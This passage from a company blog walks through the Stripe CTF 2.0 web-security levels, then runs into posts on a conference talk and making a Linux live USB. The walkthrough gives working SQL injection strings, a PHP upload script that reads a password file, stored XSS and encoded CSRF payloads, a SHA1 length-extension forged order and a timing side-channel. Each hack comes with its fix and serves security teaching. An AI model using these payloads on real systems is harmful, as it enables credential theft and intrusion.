             renderPage(res, {namespace: namespace, secrets: secrets});
           });
  } else {
    renderPage(res, {});
  }
});

When you request this page by performing a GET operation, the SQL query
SELECT * FROM secrets WHERE key LIKE ? || ".%"
is performed. The ? after LIKE in the query is the placeholder for the user submitted data which isn’t sanitised at all. The trick to overcoming this is to use the ‘%’ character as the namespace value which is a MySQL wildcard for pattern matching which turns our statement into:
SELECT * FROM secrets WHERE key LIKE % || ".%"
This has the effect of telling the database to return all key pairs in the database – including the key to level 1.

One of the things to note is that the hack needs to be performed either from the text input box on the page, or from a tool such as cURL

The Fix

Never trust data from the client. This would’ve been fixed by limiting the type of data allowed to be submitted and sanitising it before execution.

Level 1

The Brief

We’re told that this machine is secure and we’ll have to try all possibilities but something is off with the code.

The Hack

The code is provided in the form of a PHP file which features the following snippet:

<?php
	$filename = 'secret-combination.txt';
	extract($_GET);
	if (isset($attempt)) {
		$combination = trim(file_get_contents($filename));
		if ($attempt === $combination) {
			echo " $next<p>How did you know the secret combination was" . " $combination!? $next</p>";
			$next = file_get_contents('level02-password.txt');
			echo " $next<p>You've earned the password to the access Level 2:" . " $next</p>";
		} else {
		  	echo " $next<p>Incorrect! The secret combination is not $attempt $next</p>";
		}
	}
?>

What happens here is that the password submitted is tested against a value read in from $filename using the function file_get_contents which will read the given file into a string but if the call is unsuccessful it will simply return an empty string.

If we look at the extract() function, we can see it extracts variables into the variable namespace, overriding any existing ones. Note that $filename is declared, then extract() is called and then it is used.

By combining these things, we can override the value $filename to a non-existent file to get a comparison between two empty strings. To use this we simply visit: https://level01-2.stripe-ctf.com/user-USERNAME/?attempt=&filename=

The Fix

Again, don’t trust data from users! Using extract into the current symbol table means your variables can be overwritten – especially on $_GET variables that can be submitted by users. For any web API, you should know what parameters are expected and to check for those explicitly.

A safer way to code this would have been:

<?php
$filename = 'secret-combination.txt'; if (isset($_GET['attempt'])) { $combination = trim(file_get_contents($filename)); if ($attempt === $combination) { echo " $next<p>How did you know the secret combination was" . " $combination!? $next</p>"; next = file_get_contents('level02-password.txt');
echo " $next<p>You've earned the password to the access Level 2:" . " $next</p>"; } else { echo " $next<p>Incorrect! The secret combination is not $attempt $next</p>";
} } ?>

Level 2

The Brief

We’re given access to Stripe’s Social Network “which are all the rage” and told to fill in our profile picture and that there’s a file called password.txt that contains the password for level 3.

The Hack

Again, we’re provided with the source code that shows that we can upload an arbitrary file to the /uploads directory! Oh dear.
The hack here is to upload a simple PHP script, which we’ll call foo.php, that contains the following

<?php
	echo "Password is: " . file_get_contents("../password.txt");
?>

and then visit https://level02-4.stripe-ctf.com/user-USERNAME/uploads/foo.php to see the password for level 3. The ability to upload our own scripts is a useful ability… one that is used later one to good effect!

The Fix

Check what gets uploaded by your users. You can discard any file types that aren’t acceptable as well as forbidding access to scripts in the uploads directory.
There are various examples of scripts that will perform some kind of sanity check on uploaded files. A simple search for php validate image upload will provide plenty of examples to use as a starting point.

Level 3

The Brief

We’re told that the new storage mechanism uses a human login and that user ‘bob’ holds the password for level 3.

The Hack

This is another case of SQL injection. In this case the offending line is the query string

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

We can see that we can tag on some SQL of our own in this scenario, in this case we want to make use of SQLs UNION statement.

UNION allows you to combine two or more result sets from multiple tables together. We’re going to use this to turn the statement into the following (note that {0} is replaced with our injection string):

SELECT id, password_hash, salt FROM users WHERE username = 'NULL' UNION SELECT id, HASH_WE_KNOW, SALT_WE_KNOW FROM users WHERE username = 'bob' -- LIMIT 1"

The bold text is the string we’re going to insert, the -- at the end is used to comment out the LIMIT 1 part of the query.

So we have the query string but we need to get our hash and salt so we can complete it. The sample above featured the line:


    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

We can simply use our python interpreter to do the hard work for us to generate the requisite hexdigest from a password of ‘xx’ and a salt of ‘x’ to keep things simple:

[nick@slimtop ~]$ python
Python 2.7.3 (default, Jul 24 2012, 10:05:39) 
[GCC 4.7.0 20120507 (Red Hat 4.7.0-5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> print hashlib.sha256('xx' + 'x').hexdigest()
cd2eb0837c9b4c962c22d2ff8b5441b7b45805887f051d39bf133b583baf6860

All that’s left is to enter the query string NULL' UNION SELECT id, 'cd2eb0837c9b4c962c22d2ff8b5441b7b45805887f051d39bf133b583baf6860', 'x' FROM users WHERE username = 'bob' -- as the username and set our password to be ‘xx’ and in we go.

The Fix

This is a far more complex fix to implement, as one really has to think like a cracker however, a good starting point would be
The SQL Injection Prevention Cheat Sheet from the Open Web Application Security Project

Level 4

The Brief

We’re told about a piece of software called Karma Trader that allows people to reward others with karma for good deeds – the caveat being that

In order to ensure you’re transferring karma only to good people, transferring karma to a user will also reveal your password to him or her.

The Hack

The presence of the jQuery library is a good indicator that we’re going to be doing something untoward using it. The hack here is a very simple XSS exploit to make use of the fact that our password will be shown to people we transfer karma to. We simply set our password to be a piece of jQuery code that will use the jQuery.post() function to send some karma to our user naughty_man

So we create our account as naughty_man with the password of <script>$.post("transfer", {to: "naughty_man", amount: "50"} )</script> and send some karma to karma_trader.
When she next logs in, she will unknowingly execute our script which will send us some karma and her password for the next level.

The Fix

As before – the primary concept is not to trust any input that comes from the user. The input fields should be URL encoded and escaped to ensure that they are safe. Again, The SQL Injection Prevention Cheat Sheet from the Open Web Application Security Project provides a good starting point.

Level 5

The Brief

We’re told about a new type of federated identity system where you provide a username, password and pingback URL where a simple “AUTHENTICATED” or “DENIED” is posted to the pingback location.
We’re also informed that we will need to authenticate as a user of level 5 and that it can only make outbound requests to other stripe-ctf.com servers.

Interestingly, we’re told that someone forgot to firewall off the high ports from the Level 2 server.

The Hack

There are two parts to this hack, get authenticated at a lower level and then pingback to gain authentication at level 5.
To accomplish the first part, we need to get a stripe-ctf.com server to provide us with an ‘AUTHENTICATED’ string, Fortunately for us, we still have access to level 2!

Looking at the code, we can see the regex that is used to authenticate:

	def authenticated?(body)
		body =~ /[^\w]AUTHENTICATED[^\w]*$/
	end

We simply upload a script, stripe_auth.php, to print that string out:

<?php
print " AUTHENTICATED \n"; /* Note the spaces either side are matched for! */
?>

We can then specify this location as our pingback URL to gain initial authentication at level 2 – http://level02-2.stripe-ctf.com/user-USERNAME/uploads/stripe_auth.php

The second part required a bit of lateral thinking – reading our logged in page we can see it says:

You are authenticated as hacker@level02-2.stripe-ctf.com

The word authenticated here is enough to say we’re authenticated as level 5! – To use it we just tell it to use itself by specifying a pingback URL of:
https://level05-1.stripe-ctf.com/user-USERNAME/?pingback=http://level02-2.stripe-ctf.com/user-USERNAME/uploads/stripe_auth.php

This provides us with the password for our next level!

The Fix

Once again – we should not trust any input provided by the user. If we are going to allow some kind of authentication server, then we need to be able to trust the remote server. Taking it on the word of a user is not good enough!

We should either have a hard coded list of servers that we trust, or implement some kind of trust mechanism – such as public key cryptography

Also, the fatal flaw in the design was to include the keyword for authentication within the level 5 server output.

Level 6

The Brief

We’re told that after the catastrophe of level 4 the Karma Trader was shutdown but a new service, Streamer, was created. The security of this app has been beefed up and the password of the first user contains double quotes and apostrophes to complicate things… but that it’s also the password to level 7

The Hack

Looking through the source code for Streamer for these so-called precautions we come across the following lines of code:

   def self.safe_insert(table, key_values)
      key_values.each do |key, value|
        # Just in case people try to exfiltrate
        # level07-password-holder's password
        if value.kind_of?(String) &&
            (value.include?('"') || value.include?("'"))
          raise "Value has unsafe characters"
        end
      end

This forbids any insertion of values containing either an apostrophe ‘ or double quote ” – Very important!

To explore the site a bit more, we create an account and have a look at how the posts are stored and manipulated. In the HTML we see the following:

<script>
      var username = "naughty_man";
      var post_data = [{"time":"Fri Aug 24 19:54:42 +0000 2012","title":"Hello World","user":"level07-password-holder","id":null,"body":"Welcome to Streamer, the most streamlined way of sharing\nupdates with your friends!\n\nOne great feature of Streamer is that no password resets are needed. I, for\nexample, have a very complicated password (including apostrophes, quotes, you\nname it!). But I remember it by clicking my name on the right-hand side and\nseeing what my password is.\n\nNote also that Streamer can run entirely within your corporate firewall. My\nmachine, for example, can only talk directly to the Streamer server itself!"}];
       function escapeHTML(val) {
        return $('
').text(val).html(); } function addPost(item) { var new_element = '<tr><th>' + escapeHTML(item['user']) + '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' + escapeHTML(item['body']) + '</td></tr>'; $('#posts > tbody:last').prepend(new_element); } for(var i = 0; i < post_data.length; i++) { var item = post_data[i]; addPost(item); }; </script>

So interestingly, we can see that the posts are stored in a way that can be maliciously escaped with an errant </script> tag – we can test it by posting </script><script>alert(0);</script> and checking that the alert window is visible after a refreshing the browser window – success.

What we want to do is read in the contents of ‘user_info’ that we can see holds the current users password and make sure that we don’t use any single or double quote characters as submitting these is not allowed – quite the challenge.

Fortunately for us, we can use jQuery.get() to retrieve a page for us and we can also force the browser to then submit this page (or the last 180 characters of it) in the form provided without any user intervention – This type of attack is called a Cross Site Request Forgery.

What we will do is:

// Get the page 'user_info' into a string with the jQuery function
$.get('user_info'), function(data){
	// Remove all of the string apart from the last 180 characters to keep it short
	data = data.substr(data.length - 180);
	// Replace any double quotes with the text 
	data = data.replace('\"','<DOUBLE>');
	// Replace any single quotes with the text 
	data = data.replace('\'','<SINGLE>'); 
	// We know there's only one form so set it's value to be our data
	document.forms[0].content.value = data;
	// We know there's only one form so 'click' submit on the first form of the document
	document.forms[0].submit(); 
});

One problem we have is that we typically need to use quotes to demark strings in our JavaScript which are forbidden but fortunately we can use a combination of JavaScript’s eval() operation and String.fromCharCode to accomplish what we need.

String.fromCharCode() will allow us to encode forbidden characters that will be replaced at runtime by the eval() function – such that alert('Hi') becomes, alert(eval(String.fromCharCode(39, 72, 105, 39))).

So knowing this, we can create our script and then convert it to using eval/String.fromCharCode so that our naughty script goes from…

}];// </script><script>$.get('user_info'), function(data){ data = data.substr(data.length - 180); data = data.replace('\"',''); data = data.replace('\'',''); document.forms[0].content.value = data; document.forms[0].submit(); });</script> 

to this.

}];// </script><script>$.get(eval(String.fromCharCode(39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39)), function(data){ data = data.substr(data.length - 180); data = data.replace(eval(String.fromCharCode(39, 92, 34, 39)),eval(String.fromCharCode(39, 60, 68, 79, 85, 66, 76, 69, 62, 39))); data = data.replace(eval(String.fromCharCode(39, 92, 39, 39)),eval(String.fromCharCode(39, 60, 83, 73, 78, 71, 76, 69, 62, 39))); document.forms[0].content.value = data; document.forms[0].submit(); });</script> 

Finally, we can insert this into the stream (preferably with JavaScript disabled unless you want to run it yourself!) and wait for the first user to log in and unwittingly execute our script and post their valuable credentials.

The Fix

By now, we should be totally paranoid about any input data! Be sure to strip, encode or filter and reject user data if it contains any HTML characters with safe alternatives such that so that ‘<‘ becomes
&lt;. A read of the Secure-Programs-HOWTO is a good way to become aware of the ways that users can trick you into running bad code.

Level 7

The Brief

For level 7, we are introduced to an on-line waffle ordering system. There are two levels of waffles that can be ordered, standard waffles and ‘premium’ waffles. We only have access to the standard waffles, but we need to be able to place on order for a premium waffle to reveal the password for the next level.
We are provided with an API to the ordering system along with our secret key and a page (/logs/<user_id>)where we can view any previous orders we may have placed.

The Hack

The API for the system attempts to be secure by using a message signing system. There are two parts to the order, the parameters of count, user_id, latitude, longitude and waffle. These are then signed with an SHA1 algorithm using our secret key. This would give a string such as:

count=1&lat=0&user_id=5&long=0&waffle=liege|sig:a2f7af47b2633dd00f94d204e03d2a3f9a012674

This means we can exploit a
SHA padding attack
. This enables us to create a valid SHA1 key without knowing the original secret

The design of the system allows to find the order log of any user by changing the user ID on the logs page. From this we can get an original order from a privileged user:

count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:5fe387f05d3b205b6d10108c8f31312c8fd56711

There are tools that can generate SHA padding:

We want to add the parameter waffle=liege to the parameters, and using the tools we get a new string of:

count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege|sig:c0b55677bf18c7b48a32f1f705667e11008b93b2

The Fix

The first reason why we are able to use this hack is because it is very simple to find the logs of other users – these should be protected – and the second reason is because the input has not been sanitised correctly.
The code used is:

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params

This allows the same key to be submitted twice, and the second time it will overwrite the value of the first.

By changing the code to something like the following:

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        if not key in params:
            params[key] = val
    return params

the second instance of ‘waffle’ would have been ignored.

Level 8

The Brief

For level 8 we had to crack a new password storing mechanism. To supposedly increase security, a password is split between four separate servers – so that even if one server was compromised, the password would still be secure. To check a password, a 12 digit password was submitted to the main server and it would simply return ‘success’ or ‘failure’.

The system also provided a webhook that would be called by the main server to return the result of the password attempt.

To make life more interesting, the password server had been firewalled, so that it could only be reached from another stripe-ctf.com server and in addition to this, the system has delays inserted safe to prevent timing attacks such that the main server always returned the success or failure of a password in a consistent time.

The Hack

We knew from previous levels, that we could launch our attack from the compromised level 2 server – so that was one part of the challenge solved.

Looking at the design of the algorithm, it was fairly obvious that the fundamental flaw was that by splitting the key into 4 chunks of 3 digits, it greatly reduced the possible combinations from 1012 to 103 which is feasible to attack by brute force.

The first attempt at cracking this involved finding the four servers by sweeping through the port numbers for a valid response and then attacking each of chunk servers in turn. While this worked locally – it failed on the stripe servers as the chunk servers were firewalled and could not be reached from the level 2 server…

By going back to the logs, we finally noticed the second flaw in the system. The main server split the 12 digits into chunks and submitted the chunks to the chunk servers in turn. However, if any of the chunk servers returned a failure, then for efficiency, the main server stopped checking and returned the result to the server specified in the webhook. This actually turned out to be the key flaw in the system, as the webhook could look at the successive client port numbers from the main server and work out how far along the system it had got (client port numbers are assigned sequentially – so the each call to a chunk server would use a port number – therefore the fewer port numbers used between calls indicated that the password failed early).

Therefore it became possible to brute force the first chunk by looking for a port difference of 2, the second chunk for a port difference of 3 and for chunk 3 a port difference of 4.

The Fix

Aside from the flaw in the system that reduced the possible combinations to a point where it became feasible to brute force the attack – the main flaw that allowed the attack to succeed was the shortcut of not submitting all the chunks to all the servers each time.
While this may have seemed like a good idea for computational efficiency, it proved to be the weak link that could then be exploited.

Conclusion

Hopefully this has been a useful and insightful article on the many ways that web applications can be attacked – just today Google published an article about how difficult content hosting on the modern web has become and if those sorts of players are struggling with it then it’s a very serious issue indeed.

You should sign up for our mailing list to hear about our latest blog articles and exciting new course offerings and if you have insight or alternative solutions we’d love to hear about them in the comments.

Capturing the Stripe-d Flag

August 24th, 2012

In the first half of this year, the online payment company Stripe held a Capture the Flag competition as a way to draw attention to online security.

They state that:

“The hardest part of writing secure code is learning to think like an attacker. For example, every programmer is told to watch out for SQL injections, but it’s hard to appreciate just how exploitable they are until you’ve written a SQL injection of your own.” – Stripe

It was a fascinating challenge and allowed us geeks to flex our brain muscles a bit but I only managed to gain access to level 05 due to a combination of work commitments, being a new dad.. and well, uh, not being good enough.

It featured a mixed bag of exploits and required a good working knowledge of the Linux shell, in depth C programming and a bit of web programming.

After the competition drew to a close the winners were congratulated and given T-Shirts and a fantastic talking point for their next job interview and soon full walkthroughs were available online.

If you want to take the challenge yourself, Stripe have made these old challenges available via direct download or torrent which they are now using as a way to recruit potential employees – a fantastic idea no?

Introducing Capture The Flag 2.0

Recently, the Stripe team announced the release of Capture the Flag 2.0 which has a focus on web security.

Not being one to shy away from a challenge, I’ve decided to give it a go and, as of writing, I’ve managed to gain access to level 7 of 8 and it’s been a fantastic challenge so far and exposes the many ways that sites are vulnerable via a number of mock web applications. So far I’ve gone up against XSS, SQL injection, PHP session exploits amongst others.

I don’t want to post any spoilers so far for the individual levels so if you want to give it a go then get involved at the official site https://stripe-ctf.com/

Interestingly we here at Feabhas hope to introduce some new courses looking at both Hardening Linux and Security Essentials so keep your eyes peeled for our new offerings and we’ll be following up this article with a post-mortem of the levels we’ve managed to crack and how to best remove these attack vectors.

Embedded System Conference – India

July 13th, 2012

 

This year I have honour of being invited to present at the Embedded Systems Conference in Bengaluru (Bangalore), India. Based on previous visits these classes are very well attended and always generate a lot of post-class discussions.

This year I’ve extended my previous 1/2 day class to a full day titled “Programming in C for the ARM Cortex-M Microcontroller”. Having a full day allows me to delve in too much greater detail. The class is broken down in to four subsections:

  • Cortex-M Architecture
  • C Programming and the Cortex-M
  • CMSIS (including CMSIS-RTOS)
  • Debug (including CoreSight)

An overview is covered here.

The other class is one I have presented at ESC in the US before but not in India; Understanding Mutual Exclusion: The Semaphores vs. the Mutex. This presentation is based around much of the material in some of my previous postings (see RTOS related blog postings ). I still find this class really interesting. In general, whenever you bring up the mutex/semaphore discussion most people jump to a per-conceived idea that they know the differences; by the end of this class most understand that their mental model was incorrect.

If anyone is attending then please come and say hello.

Creating a Linux Live USB Thumbstick (The Hard Way)

July 6th, 2012

Introduction

So recently I needed to create a live system and I had a spare 8 GB USB drive on which to do it.

Looking around the net there’s a lot of solutions to doing this but I needed something that would be independent of the host distribution – I used Fedora 17 in this instance but it might not be in the future – and would work quickly and easily.

This article seeks to document what I did in order to accomplish this – whether it could be done better is for you to sort out in the comments!

Getting Started

You will need the CD ISO of the distribution you want to use (I used Ubuntu 10.04.4 LTS) and an inserted but unmounted thumb drive.

1. Using the Disk Utility, partition the disk such that the first partition is as big as it can be – minus 750MB – set it as bootable and format it as Fat (FAT32 LBA)

2. Create an additional partition of unformatted space up until the end of the drive to take up the 750MB.

3. Mount the first partition from the command prompt, note my device came up as /dev/sdc, yours may differ:

sudo mount /dev/sdc1 /mnt

4. Install grub2 onto the windows partition. You will need to have this package installed (either yum install grub2 on Fedora or sudo apt-get install grub2 on a Debian/Ubuntu system).

sudo grub2-install --no-floppy --root-directory=/mnt /dev/sdc

5. Copy over the kernel and initrd (initial RAM disk) over from the ISO. To do this I double clicked the ISO, let it automount, grabbed the files vmlinuz and initrd.lz from /casper/ and copied them over to my home directory. I then copied them to the drive.

sudo cp ~/{vmlinux,initrd.lz} /mnt/boot/

6. Create a file to be used as the persistent file-system – I have chosen to create mine as 2GB here but you can choose whatever you like bearing in mind you can’t have a file larger than 4GB on a FAT32 partition.

sudo dd if=/dev/zero of=/mnt/casper-rw bs=1M count=2048

7. Format the persistent filesystem file

sudo mkfs.ext4 -F /mnt/casper-rw

8. Write your Linux ISO to the second partition

sudo dd if=~/ubuntu-10.04.4-desktop-i386.iso of=/dev/sdc2

9. Create a grub2 boot menu

Create/Open up the file /mnt/boot/grub2/grub.conf in your favourite editor and make it look like this:

set default=0
set timeout=10
menuentry “Ubuntu Live” {
set root=(hd0,1)
linux /boot/vmlinuz boot=casper file=/preseed/ubuntu.seed persistent rw noprompt noeject
initrd /boot/initrd.lz
}

10. Unmount and sync the drive

sudo umount /mnt
sudo sync

11. Reboot your system (safely!)

12. Choose the correct option to boot from USB and enjoy your new Linux environment.

And that’s it. You now have a USB live CD that should allow you to create live environments for a wide variety of distros whilst also  requiring no disto specifics tools.

 

Nb. As a former Ubuntu guy I was really chuffed to find out about the command ‘yum provides <binary|file>’ which causes yum to go off and find a package that provides that a file by that name for example:

[nick@slimtop ~]$ yum provides grub2-install
Loaded plugins: downloadonly, langpacks, presto, refresh-packagekit
1:grub2-2.0-0.25.beta4.fc17.i686 : Bootloader with support for Linux, Multiboot and more
Repo        : fedora
Matched from:
Filename    : /usr/sbin/grub2-install

Very cool – on Debian you can install the apt-file package which will let you accomplish the same thing.

%d bloggers like this: